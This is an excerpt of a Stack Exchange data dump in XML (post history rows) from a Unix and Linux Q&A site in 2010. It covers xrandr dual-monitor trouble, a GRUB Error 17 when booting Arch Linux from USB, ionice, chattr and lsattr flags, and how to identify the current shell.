1280x1024 --right-of DVI-0` at system launch.&#xD;&#xA;&#xD;&#xA;Good thing, it works.  &#xD;&#xA;Bad thing, Altitude game breaks it to the point the main (left) monitor loses signal and I can't re-enable it (while game itself runs happily on the right screen, in fullscreen mode).&#xD;&#xA;&#xD;&#xA;No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="7743" PostHistoryTypeId="1" PostId="3628" RevisionGUID="ecb626df-5899-4553-bd45-668e953e9375" CreationDate="2010-10-30T09:47:09.530" UserId="2489" Text="Fullscreen game messes with my xrandr dual-monitor setup" />
  <row Id="7744" PostHistoryTypeId="3" PostId="3628" RevisionGUID="ecb626df-5899-4553-bd45-668e953e9375" CreationDate="2010-10-30T09:47:09.530" UserId="2489" Text="égentooàéxrandrà" />
  <row Id="7745" PostHistoryTypeId="2" PostId="3629" RevisionGUID="08ab91d2-6f47-4080-852a-2bcd5d884e81" CreationDate="2010-10-30T10:49:31.167" UserId="2179" Text="I tried to install Arch Linux to an USB key. Things are kind of wobbly (it assumes the system has exactly one drive inside, for example) but everything installed just fine. Until I rebooted.&#xD;&#xA;&#xD;&#xA;      Booting 'Arch Linux'&#xD;&#xA;    &#xD;&#xA;    root (hd1,1)&#xD;&#xA;     Filesystem type unknown, partition type 0x7&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;&#xD;&#xA;    Error 17: Cannot mount selected partition&#xD;&#xA;&#xD;&#xA;Here's the 'Arch Linux' command sequence:&#xD;&#xA;&#xD;&#xA;    root (hd1,1)&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;    initrd /boot/kernel26.img&#xD;&#xA;&#xD;&#xA;I could successfully reboot in my host OS, Ubuntu, and used the Disk Tool to confirm partitioning was successful. Running&#xD;&#xA;&#xD;&#xA;    sudo kvm /dev/dsb&#xD;&#xA;&#xD;&#xA;...resulted in a successful Arch boot once I edited the commands to boot from `root (hd0,1)` (that is, until Arch tried to mount `/dev/dsb2`).&#xD;&#xA;&#xD;&#xA;What did I do wrong? I have read the [related wiki section](https://wiki.archlinux.org/index.php/Grub#GRUB_Error_17) but nothing seems to apply.&#xD;&#xA;&#xD;&#xA;(`/dev/dsb1` is a small FAT partition for data storing purposes -- for those locked down lab computers.)" />
  <row Id="7746" PostHistoryTypeId="1" PostId="3629" RevisionGUID="08ab91d2-6f47-4080-852a-2bcd5d884e81" CreationDate="2010-10-30T10:49:31.167" UserId="2179" Text="Arch Linux fails to boot from a USB key (cannot mount selected partition)" />
  <row Id="7747" PostHistoryTypeId="3" PostId="3629" RevisionGUID="08ab91d2-6f47-4080-852a-2bcd5d884e81" CreationDate="2010-10-30T10:49:31.167" UserId="2179" Text="éarchölinuxàégrubàéext4àébootöloaderà" />
  <row Id="7748" PostHistoryTypeId="5" PostId="3629" RevisionGUID="1bacbec7-abd7-4579-98c7-705633cbe735" CreationDate="2010-10-30T10:55:08.693" UserId="2179" Comment="added 77 characters in body; deleted 5 characters in body" Text="I tried to install Arch Linux to an USB key. Things are kind of wobbly (it assumes the system has exactly one drive inside, for example) but everything installed just fine. Until I rebooted.&#xD;&#xA;&#xD;&#xA;      Booting 'Arch Linux'&#xD;&#xA;    &#xD;&#xA;    root (hd1,1)&#xD;&#xA;     Filesystem type unknown, partition type 0x7&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;&#xD;&#xA;    Error 17: Cannot mount selected partition&#xD;&#xA;&#xD;&#xA;Here's the 'Arch Linux' command sequence:&#xD;&#xA;&#xD;&#xA;    root (hd1,1)&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;    initrd /boot/kernel26.img&#xD;&#xA;&#xD;&#xA;I could successfully reboot in my host OS, Ubuntu, and used the Disk Tool to confirm partitioning was successful. Also, running `sudo kvm /dev/dsb` resulted in a successful Arch boot once I edited the commands to boot from `root (hd0,1)` (that is, until Arch tried to mount `/dev/dsb2`).&#xD;&#xA;&#xD;&#xA;What did I do wrong? I have read the [related wiki section](https://wiki.archlinux.org/index.php/Grub#GRUB_Error_17) but nothing seems to apply: I didn't use GParted or logical drives; everything is on the same partition.&#xD;&#xA;&#xD;&#xA;(`/dev/dsb1` is a small FAT partition for data storing purposes -- for those locked down lab computers.)" />
  <row Id="7752" PostHistoryTypeId="5" PostId="3629" RevisionGUID="13b29ff2-a65b-4ec0-b37d-8c26d7ac0655" CreationDate="2010-10-30T11:07:02.470" UserId="2179" Comment="added 365 characters in body" Text="I tried to install Arch Linux to an USB key. Things are kind of wobbly (it assumes the system has exactly one drive inside, for example) but everything installed just fine. Until I rebooted.&#xD;&#xA;&#xD;&#xA;      Booting 'Arch Linux'&#xD;&#xA;    &#xD;&#xA;    root (hd1,1)&#xD;&#xA;     Filesystem type unknown, partition type 0x7&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;&#xD;&#xA;    Error 17: Cannot mount selected partition&#xD;&#xA;&#xD;&#xA;(`/dev/dsb1`/`(hd1,0)` is a small FAT partition for data storing purposes -- for those locked down lab computers.)&#xD;&#xA;&#xD;&#xA;Here's the 'Arch Linux' command sequence:&#xD;&#xA;&#xD;&#xA;    root (hd1,1)&#xD;&#xA;    kernel /boot/vmlinuz26 root=/dev/dsb2 ro&#xD;&#xA;    initrd /boot/kernel26.img&#xD;&#xA;&#xD;&#xA;At the grub console:&#xD;&#xA;&#xD;&#xA;    grub&gt; root (hd1,1)&#xD;&#xA;     Filesystem type unknown, partition type 0x7&#xD;&#xA;    grub&gt; cat /etc/passwd&#xD;&#xA;     Error 17: Cannot mount selected partition&#xD;&#xA;    grub&gt; root (hd0,1) # my ubuntu partition&#xD;&#xA;     Filesystem type is ext2fs, partition type 0x73&#xD;&#xA;    grub&gt; cat /etc/passwd&#xD;&#xA;    root:x:0:0:root:/root:/bin/bash&#xD;&#xA;    &lt;snip/&gt;&#xD;&#xA;&#xD;&#xA;I could successfully reboot in my host OS, Ubuntu, and used the Disk Tool to confirm partitioning was successful. Also, running `sudo kvm /dev/dsb` resulted in a successful Arch boot once I edited the commands to boot from `root (hd0,1)` (that is, until Arch tried to mount `/dev/dsb2`).&#xD;&#xA;&#xD;&#xA;What did I do wrong? I have read the [related wiki section](https://wiki.archlinux.org/index.php/Grub#GRUB_Error_17) but nothing seems to apply: I didn't use GParted or logical drives; everything is on the same partition.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7757" PostHistoryTypeId="6" PostId="3048" RevisionGUID="9a470f16-0139-457e-a043-b51bc0a97081" CreationDate="2010-10-30T12:34:26.917" UserId="29" Comment="add tags" Text="élinuxàésoftwareöraidàémdadmàéraidà" />
  <row Id="7758" PostHistoryTypeId="2" PostId="3632" RevisionGUID="4e8ab9c5-a60a-4e9f-b412-0418e2536624" CreationDate="2010-10-30T12:38:24.727" UserId="29" Text="How can I view the IO priority of a process? like to see for example if something has been `ionice`-ed." />
  <row Id="7759" PostHistoryTypeId="1" PostId="3632" RevisionGUID="4e8ab9c5-a60a-4e9f-b412-0418e2536624" CreationDate="2010-10-30T12:38:24.727" UserId="29" Text="How do I view the IO priority of a process?" />
  <row Id="7760" PostHistoryTypeId="3" PostId="3632" RevisionGUID="4e8ab9c5-a60a-4e9f-b412-0418e2536624" CreationDate="2010-10-30T12:38:24.727" UserId="29" Text="éioàéioniceà" />
  <row Id="7761" PostHistoryTypeId="2" PostId="3633" RevisionGUID="4544d76d-5d18-4ccf-b7a2-6fddeaa9d590" CreationDate="2010-10-30T12:39:50.483" UserId="29" Text="as of KDE SC 4.5 this is not possible." />
  <row Id="7762" PostHistoryTypeId="2" PostId="3634" RevisionGUID="9835000a-4ca7-48f4-9a8a-03e44b294ff4" CreationDate="2010-10-30T12:45:22.457" UserId="29" Text="what does the `a` in `chattr +ia &lt;filename&gt;` do? and why would you add the `a`? *note: I know the `i` is for immutable*" />
  <row Id="7763" PostHistoryTypeId="1" PostId="3634" RevisionGUID="9835000a-4ca7-48f4-9a8a-03e44b294ff4" CreationDate="2010-10-30T12:45:22.457" UserId="29" Text="what does the &quot;a&quot; in chattr +ia do?" />
  <row Id="7764" PostHistoryTypeId="3" PostId="3634" RevisionGUID="9835000a-4ca7-48f4-9a8a-03e44b294ff4" CreationDate="2010-10-30T12:45:22.457" UserId="29" Text="éfilesystemsàépermissionsàéchattrà" />
  <row Id="7765" PostHistoryTypeId="2" PostId="3635" RevisionGUID="edede18b-566a-4d1a-a9be-451880a845c3" CreationDate="2010-10-30T12:46:33.080" UserId="2179" Text="    ionice [-p] &lt;pids/&gt;&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    $ ionice -p `pidof X`&#xD;&#xA;    none: prio 0&#xD;&#xA;&#xD;&#xA;This means `X` is using the `none` scheduling class (best effort) with priority 0 (highest priority out of 7). Read more with [`man ionice`][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/ionice" />
  <row Id="7766" PostHistoryTypeId="2" PostId="3636" RevisionGUID="36ac4b03-03d6-4bf7-98b7-394de40955bf" CreationDate="2010-10-30T12:55:36.797" UserId="29" Text="`man chattr 1`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;chattr - change file attributes on a Linux file system&lt;/blockquote&gt;&#xD;&#xA;" />
  <row Id="7767" PostHistoryTypeId="2" PostId="3637" RevisionGUID="ff5726ac-75ad-40cb-bfb9-ed770a10aaff" CreationDate="2010-10-30T12:55:36.797" UserId="29" Text="chattr - change file attributes on a Linux file system&#xD;&#xA;" />
  <row Id="7768" PostHistoryTypeId="2" PostId="3638" RevisionGUID="8a854ef1-8696-41d1-a18d-5e8d454099f3" CreationDate="2010-10-30T13:00:56.043" UserId="2179" Text="&gt;       The  letters  `acdeijstuADST'  select the new attributes for the files:&#xD;&#xA;&gt;       append only (a), compressed  (c),  no  dump  (d),  extent  format  (e),&#xD;&#xA;&gt;       immutable (i), data journalling (j), secure deletion (s), no tail-merg‐&#xD;&#xA;&gt;       ing (t), undeletable (u), no atime updates (A),  synchronous  directory&#xD;&#xA;&gt;       updates  (D),  synchronous  updates (S), and top of directory hierarchy&#xD;&#xA;&gt;       (T).&#xD;&#xA;&gt;&#xD;&#xA;&gt; from the [manpage for `chattr`][1]&#xD;&#xA;&#xD;&#xA;Files with this flag will fail to be opened for writing. This also blocks certain potentially destructive system calls such as [`truncate()`][2] or [`unlink()`][3].&#xD;&#xA;&#xD;&#xA;    $ touch foo&#xD;&#xA;    $ chattr +a foo&#xD;&#xA;    $ python&#xD;&#xA;    &gt; file(&quot;foo&quot;, &quot;w&quot;) #attempt to open for writing&#xD;&#xA;    [Errno 1] Operation not permitted: 'foo'&#xD;&#xA;    &gt; quit()&#xD;&#xA;    $ truncate foo --size 0&#xD;&#xA;    truncate: cannot open `foo' for writing: Operation not permitted&#xD;&#xA;    $ echo &quot;Appending works fine.&quot; &gt;&gt; foo&#xD;&#xA;    $ cat foo&#xD;&#xA;    Appending works fine.&#xD;&#xA;    $ rm foo&#xD;&#xA;    rm: cannot remove `foo': Operation not permitted&#xD;&#xA;    $ chattr -a foo&#xD;&#xA;    $ rm foo&#xD;&#xA;&#xD;&#xA;This option is designed for log files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/chattr&#xD;&#xA;  [2]: http://linux.die.net/man/2/truncate&#xD;&#xA;  [3]: http://linux.die.net/man/2/unlink" />
  <row Id="7769" PostHistoryTypeId="5" PostId="3634" RevisionGUID="e643b43c-dad8-4d10-91e0-75939ada87fa" CreationDate="2010-10-30T13:10:30.540" UserId="29" Comment="clarify second question" Text="what does the `a` in `chattr +ia &lt;filename&gt;` do? and why would you add the `a` in combination with the `i`? *note: I know the `i` is for immutable*" />
  <row Id="7770" PostHistoryTypeId="6" PostId="3634" RevisionGUID="2a15dcb4-70f4-48b8-bcc7-9cac3116f211" CreationDate="2010-10-30T13:15:08.583" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàépermissionsàéchattrà" />
  <row Id="7771" PostHistoryTypeId="6" PostId="3632" RevisionGUID="99d966f4-0f9a-4df6-accb-b9352557c5bf" CreationDate="2010-10-30T13:18:10.497" UserId="885" Comment="edited tags" Text="élinuxàéioàéschedulingàéioniceàépriorityà" />
  <row Id="7772" PostHistoryTypeId="2" PostId="3639" RevisionGUID="28e06a0c-b59a-4bf7-bd7f-9e25b2da3f1b" CreationDate="2010-10-30T13:36:05.297" UserId="885" Text="The first thing to check in this situation is if the disk you're trying to boot from is the right one. The ordering of disks can depend on many factors:&#xD;&#xA;&#xD;&#xA;* In Grub1, you only get access to two hard disks. This is a limitation of the BIOS interface. Which two hard disks you actually get depends on your BIOS settings (look for something like “boot order”) and what disks and other hard-disk-like bootable media (e.g. USB flash drives) you actually have available.&#xD;&#xA;&#xD;&#xA;* Under Linux, the ordering of `sda`, `sdb`, etc., depends on the order in which drives are detected, which at boot time often depends on the order in which the drivers are loaded. Also, whether some disks appear as `sd?` or `hd?` depends on kernel configuration options and udev settings.&#xD;&#xA;&#xD;&#xA;Here Grub is reporting a partition with type 7. While Linux and Grub don't care about partition types (except for “container” partitions such as extended partitions), it is unusual to have a Linux filesystem on a partition with type 7 (which fdisk describes as `HPFS/NTFS`). So my guess is that whichever drive your BIOS is offering as the second boot drive (Grub's `hd1`) is not the disk you want to boot, but some other disk with a Windows partition. Check if `hd0` is the drive you want to boot from; if it's not, you'll have to change your BIOS settings.&#xD;&#xA;&#xD;&#xA;If Grub recognizes the filesystem in a partition, you can type something like `cat (hd1,1)/` and press &lt;kbd&gt;Tab&lt;/kbd&gt; to see what files are there. This is the usual way of figuring out what filesystems you have where when you're feeling lost at a Grub prompt.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The second thing to check would be whether the partition you're trying to access is the right one — Grub1 counts from 0, Linux and Grub2 count from 1, and unusual situations (such as having a BSD installation) can cause further complications. Adding or removing logical partitions can cause existing partitions to be renumbered in a sometimes non-intuitive way.&#xD;&#xA;&#xD;&#xA;If you had the right partition on the right disk, then `Filesystem type unknown` would indicate that the partition doesn't contain a filesystem that your version of Grub support. Grub1 supports the filesystems commonly used by Linux (ext2 and later versions, reiserfs, xfs, jfs) but (unless you have a recent patch) btrfs. Grub1 also doesn't support LVM, or RAID (except RAID-1, i.e. mirroring, since it looks like an ordinary volume when just reading).&#xD;&#xA;" />
  <row Id="7773" PostHistoryTypeId="2" PostId="3640" RevisionGUID="8010f21a-99c3-41ad-a497-65907dd52729" CreationDate="2010-10-30T13:47:10.010" UserId="29" Text="This is a follow up to [my crazy `mdadm` problem](http://unix.stackexchange.com/q/3048/29). I'm trying to figure out what might have caused `sda` to get out of sync in the first place. The only thing I can think of is that I had just run a bunch of updates and was rebooting to reload the kernel upgrade. Is it possible that both drives hadn't synced? would the system prevent a reboot if there was mdadm syncing going on? could it be made to? any other suggestions as to what might have happened? and how it could be prevented in the further. Nothing seems to be wrong with the drive." />
  <row Id="7774" PostHistoryTypeId="1" PostId="3640" RevisionGUID="8010f21a-99c3-41ad-a497-65907dd52729" CreationDate="2010-10-30T13:47:10.010" UserId="29" Text="Will the system make sure that mdadm is sync-ed before completing a reboot?" />
  <row Id="7775" PostHistoryTypeId="3" PostId="3640" RevisionGUID="8010f21a-99c3-41ad-a497-65907dd52729" CreationDate="2010-10-30T13:47:10.010" UserId="29" Text="élinuxàésoftwareöraidàéraidàémdadmà" />
  <row Id="7776" PostHistoryTypeId="5" PostId="3117" RevisionGUID="629551da-8d7e-407d-8388-781c385f72e9" CreationDate="2010-10-30T13:54:48.023" UserId="916" Comment="fixed a word I mistyped" Text="I'm looking for some good resources on running `daemontools` on a NetBSD box. I've installed the binary package via `pkg_add`, but I can't seem to find an `rc` script for starting, e.g., `svscan`. I'm mostly a Linux and FreeBSD user, and this is the sort of thing I would expect to find after an install. Did I just look in the wrong place? Should I be building from source to find those sorts of extras? Is there a good guide somewhere that covers things like this? Thanks." />
  <row Id="7777" PostHistoryTypeId="6" PostId="3117" RevisionGUID="629551da-8d7e-407d-8388-781c385f72e9" CreationDate="2010-10-30T13:54:48.023" UserId="916" Comment="fixed a word I mistyped" Text="ébsdàénetbsdàédaemontoolsà" />
  <row Id="7778" PostHistoryTypeId="5" PostId="3628" RevisionGUID="caaf3f94-59c9-4265-814c-ec30934298d3" CreationDate="2010-10-30T15:41:42.587" UserId="2489" Comment="added 60 characters in body" Text="Gentoo Linux, Awesome window manager, open-source ATI driver.&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;            #ModulePath   &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/misc/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/TTF/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/Type1/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/100dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/75dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;      Identifier     &quot;My X Server&quot;&#xD;&#xA;      Screen 0 &quot;Screen0&quot; 0 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      510   290     # mm&#xD;&#xA;            Identifier   &quot;LeftMonitor&quot;&#xD;&#xA;            VendorName   &quot;DEL&quot;&#xD;&#xA;            ModelName    &quot;DELL U2311H&quot;&#xD;&#xA;            HorizSync    30.0 - 83.0&#xD;&#xA;            VertRefresh  56.0 - 76.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1920x1080&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      380   300     # mm&#xD;&#xA;            Identifier   &quot;RightMonitor&quot;&#xD;&#xA;            VendorName   &quot;SAM&quot;&#xD;&#xA;            ModelName    &quot;SyncMaster&quot;&#xD;&#xA;            HorizSync    30.0 - 81.0&#xD;&#xA;            VertRefresh  56.0 - 75.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;      Identifier  &quot;Card0&quot;&#xD;&#xA;      Driver      &quot;radeon&quot;&#xD;&#xA;      VendorName  &quot;ATI Technologies Inc&quot;&#xD;&#xA;      BoardName   &quot;Mobilitiy Radeon HD 3600 Series&quot;&#xD;&#xA;      BusID       &quot;PCI:4:0:0&quot;&#xD;&#xA;      #Option &quot;AccelMethod&quot; &quot;EXA&quot;&#xD;&#xA;      Option         &quot;monitor-HDMI-0&quot; &quot;RightMonitor&quot;&#xD;&#xA;      Option         &quot;monitor-DVI-0&quot; &quot;LeftMonitor&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;      Identifier   &quot;Screen0&quot;&#xD;&#xA;      Device       &quot;Card0&quot;&#xD;&#xA;      Monitor      &quot;LeftMonitor&quot;&#xD;&#xA;      DefaultDepth 24&#xD;&#xA;      SubSection &quot;Display&quot;&#xD;&#xA;            Depth     24&#xD;&#xA;            Modes           &quot;1920x1080&quot; &quot;1280x1024&quot;&#xD;&#xA;            Virtual     3200 1080&#xD;&#xA;      EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` at system launch.&#xD;&#xA;&#xD;&#xA;Good thing, it works.  &#xD;&#xA;Bad thing, Altitude game breaks it to the point the main (left) monitor loses signal and I can't re-enable it (while game itself runs happily on the right screen, in fullscreen mode).&#xD;&#xA;&#xD;&#xA;No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** It breaks when I close the game as well. Argh!" />
  <row Id="7779" PostHistoryTypeId="2" PostId="3641" RevisionGUID="af4b1a47-883a-4181-b70e-bbcd43ce1431" CreationDate="2010-10-30T16:05:50.083" UserId="2267" Text="&quot;lsattr -v&quot; gives me the &quot;version number&quot; of given file(s).&#xD;&#xA;&#xD;&#xA;What does this mean?&#xD;&#xA;&#xD;&#xA;On Redhat 7.3, I could've sworn all the version numbers were 1 except&#xD;&#xA;those I changed with &quot;chattr -v&quot;.&#xD;&#xA;&#xD;&#xA;On Fedora11, they appear to be &quot;random&quot; numbers.&#xD;&#xA;&#xD;&#xA;Setting version numbers or even having multiple versions of a file&#xD;&#xA;could be very useful, so I want to understand how &quot;versioning&quot; work in ext3.&#xD;&#xA;" />
  <row Id="7780" PostHistoryTypeId="1" PostId="3641" RevisionGUID="af4b1a47-883a-4181-b70e-bbcd43ce1431" CreationDate="2010-10-30T16:05:50.083" UserId="2267" Text="What does file version mean: lsattr -v" />
  <row Id="7781" PostHistoryTypeId="3" PostId="3641" RevisionGUID="af4b1a47-883a-4181-b70e-bbcd43ce1431" CreationDate="2010-10-30T16:05:50.083" UserId="2267" Text="éext4àéversionàéxattrà" />
  <row Id="7782" PostHistoryTypeId="6" PostId="3641" RevisionGUID="bbcd6a83-fb04-4814-8952-8a45bfad23fd" CreationDate="2010-10-30T16:13:27.923" UserId="29" Comment="add the surprisingly missing ext3 tag" Text="éversionàéxattràéext3à" />
  <row Id="7783" PostHistoryTypeId="2" PostId="3642" RevisionGUID="ef186ebc-ca9f-44cf-9ae8-9061b1bd560a" CreationDate="2010-10-30T16:24:24.040" UserId="1327" Text="This is not really an answer, but just a interresting find. &#xD;&#xA;&#xD;&#xA;I played around with `lsattr -v` and it seems like each new file you create gets a unique number assigned to it. Im not sure if this is correct, my expirement is documented below. &#xD;&#xA;&#xD;&#xA;    $ mkdir temp                  # make a new folder&#xD;&#xA;    $ cd temp       &#xD;&#xA;    $ touch a b c d e f g         # create a lot files in that folder.&#xD;&#xA;    $ lsattr -v *                 # checkout those files using lsattr -v&#xD;&#xA;    1386486996 -------------e- a&#xD;&#xA;    1386486997 -------------e- b&#xD;&#xA;    1386486998 -------------e- c&#xD;&#xA;    1386486999 -------------e- d&#xD;&#xA;    1386487000 -------------e- e&#xD;&#xA;    1386487001 -------------e- f&#xD;&#xA;    1386487002 -------------e- g&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;This behaviour could be limited to the distribution **or** the disk format. " />
  <row Id="7784" PostHistoryTypeId="5" PostId="3641" RevisionGUID="2a8e79fd-63ca-4aa2-93b9-3ebe49aed435" CreationDate="2010-10-30T16:28:22.587" UserId="1327" Comment="added 11 characters in body" Text="`lsattr -v` gives me the &quot;version number&quot; of given file(s).&#xD;&#xA;&#xD;&#xA;What does this mean?&#xD;&#xA;&#xD;&#xA;On Redhat 7.3, I could've sworn all the version numbers were 1 except&#xD;&#xA;those I changed with `chattr -v`.&#xD;&#xA;&#xD;&#xA;On Fedora 11, they appeared to be **random** numbers.&#xD;&#xA;&#xD;&#xA;Setting version numbers or even having multiple versions of a file&#xD;&#xA;could be very useful, so I want to understand how **&quot;versioning&quot;**  works in ext3.&#xD;&#xA;" />
  <row Id="7785" PostHistoryTypeId="2" PostId="3643" RevisionGUID="d0899ca6-1a5c-4026-bf6a-ec482429262a" CreationDate="2010-10-30T18:55:05.827" UserId="1012" Text="You need to use an NTFS driver for Linux that actually supports symlinks, such as the [Advanced NTFS 3G driver][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://b.andre.pagesperso-orange.fr/advanced-ntfs-3g.html" />
  <row Id="7786" PostHistoryTypeId="2" PostId="3644" RevisionGUID="07bc9264-6d02-4a42-ace2-8e8eefa63210" CreationDate="2010-10-30T19:11:57.983" UserId="1012" Text="`lsattr -v` invokes the `EXT2_IOC_GETVERSION` ioctl for the file. This, in turn, retrieves the inode's `i_generation` field. This is a feature primarily intended for use with NFS: each time an inode gets allocated, one has to make sure it gets a new generation. Otherwise, NFS clients with stale file handles may manage to access data that weren't meant for them. ext2/ext3/ext4 allocates the generation number from a volume-global counter `s_next_generation`, which is incremented on every allocation." />
  <row Id="7787" PostHistoryTypeId="2" PostId="3645" RevisionGUID="826f21ce-5c3c-489a-9760-1367d4cac42c" CreationDate="2010-10-30T19:32:39.423" UserId="912" Text="An echo $SHELL will only display the value of the SHELL variable which would indicate the default shell on the system.&#xD;&#xA;&#xD;&#xA;But I might not be always using the default shell on my system:&#xD;&#xA;&#xD;&#xA;    $ bash&#xD;&#xA;    $ echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;    $ csh&#xD;&#xA;    % echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;    %&#xD;&#xA;&#xD;&#xA;How can I easily figure out what shell I am using?" />
  <row Id="7788" PostHistoryTypeId="1" PostId="3645" RevisionGUID="826f21ce-5c3c-489a-9760-1367d4cac42c" CreationDate="2010-10-30T19:32:39.423" UserId="912" Text="How can I check which shell I am currently using?" />
  <row Id="7789" PostHistoryTypeId="3" PostId="3645" RevisionGUID="826f21ce-5c3c-489a-9760-1367d4cac42c" CreationDate="2010-10-30T19:32:39.423" UserId="912" Text="éshellàébashàéterminalàétcshà" />
  <row Id="7790" PostHistoryTypeId="2" PostId="3646" RevisionGUID="68e81125-c447-4c84-9303-ef2ab204bbd2" CreationDate="2010-10-30T19:42:16.557" UserId="912" Text="I have a directory with a lot of files but only a few directories.&#xD;&#xA;&#xD;&#xA;To get a list of only the directories, what I do is this&#xD;&#xA;&#xD;&#xA;    ls -l | grep &quot;^d&quot;&#xD;&#xA;&#xD;&#xA;I know I can alias it to make it faster, but is there some easier way of doing this that I do not know about?&#xD;&#xA;&#xD;&#xA;I checked [`man ls`][1], but did not find any such flag there.&#xD;&#xA;&#xD;&#xA;Also, `ls -d` displays only a `.`, nothing else.&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?ls" />
  <row Id="7791" PostHistoryTypeId="1" PostId="3646" RevisionGUID="68e81125-c447-4c84-9303-ef2ab204bbd2" CreationDate="2010-10-30T19:42:16.557" UserId="912" Text="How can I list only the directories present in a directory using ls?" />
  <row Id="7792" PostHistoryTypeId="3" PostId="3646" RevisionGUID="68e81125-c447-4c84-9303-ef2ab204bbd2" CreationDate="2010-10-30T19:42:16.557" UserId="912" Text="élinuxàédirectoryàélsà" />
  <row Id="7793" PostHistoryTypeId="10" PostId="3646" RevisionGUID="af8e28fa-7631-4e2a-b591-3fe44ea1fb54" CreationDate="2010-10-30T19:50:17.373" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1207,&quot;DisplayName&quot;:&quot;Steven D&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="7794" PostHistoryTypeId="5" PostId="3646" RevisionGUID="cd0aab4e-38bd-4e0e-900a-6a662ca119f1" CreationDate="2010-10-30T19:50:17.513" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is there any option with &amp;#39;ls&amp;#39; command that I see only the directories?](http://unix.stackexchange.com/questions/1645/is-there-any-option-with-ls-command-that-i-see-only-the-directories)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a directory with a lot of files but only a few directories.&#xD;&#xA;&#xD;&#xA;To get a list of only the directories, what I do is this&#xD;&#xA;&#xD;&#xA;    ls -l | grep &quot;^d&quot;&#xD;&#xA;&#xD;&#xA;I know I can alias it to make it faster, but is there some easier way of doing this that I do not know about?&#xD;&#xA;&#xD;&#xA;I checked [`man ls`][1], but did not find any such flag there.&#xD;&#xA;&#xD;&#xA;Also, `ls -d` displays only a `.`, nothing else.&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?ls" />
  <row Id="7795" PostHistoryTypeId="2" PostId="3647" RevisionGUID="efa0a265-52df-4c41-8f8c-e7b3462f76ee" CreationDate="2010-10-30T20:06:27.580" UserId="1207" Text="I've found that the following works in the four shells I have installed on my system (bash, dash, zsh, csh):&#xD;&#xA;&#xD;&#xA;    $ ps -p $$&#xD;&#xA;&#xD;&#xA;The following works on zsh, bash, and dash, but not on csh:&#xD;&#xA;&#xD;&#xA;    $ echo $0&#xD;&#xA;" />
